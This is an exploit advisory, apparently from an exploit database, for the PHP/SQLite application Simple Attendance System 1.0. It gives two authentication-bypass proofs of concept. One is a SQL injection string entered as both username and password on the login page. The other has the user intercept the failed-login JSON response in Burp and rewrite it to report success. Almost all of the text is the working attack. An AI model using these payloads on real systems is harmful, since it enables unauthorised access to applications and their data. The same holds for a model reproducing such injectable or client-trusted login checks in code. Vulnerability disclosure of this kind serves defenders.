# Exploit Title: Simple Attendance System 1.0 - Authenticated bypass # Exploit Author: Abdullah Khawaja (hax.3xploit) # Date: September 17, 2021 # Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/attendance_0.zip # Tested on: Linux, windows # Vendor: oretnom23 # Version: v1.0 # Exploit Description: Simple Attendance System, is prone to multiple vulnerabilities. Easy authentication bypass vulnerability on the application allowing the attacker to login ----- PoC: Authentication Bypass ----- Administration Panel: http://localhost/attendance/login.php Username: admin' or ''=' -- -+ Password: admin' or ''=' -- -+ ----- PoC-2: Authentication Bypass ----- Steps: 1. Enter wrong crendentials http://localhost/attendance/login.php 2. Capture the request in burp and send it to repeater. 3. Forward the request. 4. In response tab, replace : {"status":"failed","msg":"Invalid username or password."} with {"status":"success","msg":"Login successfully."}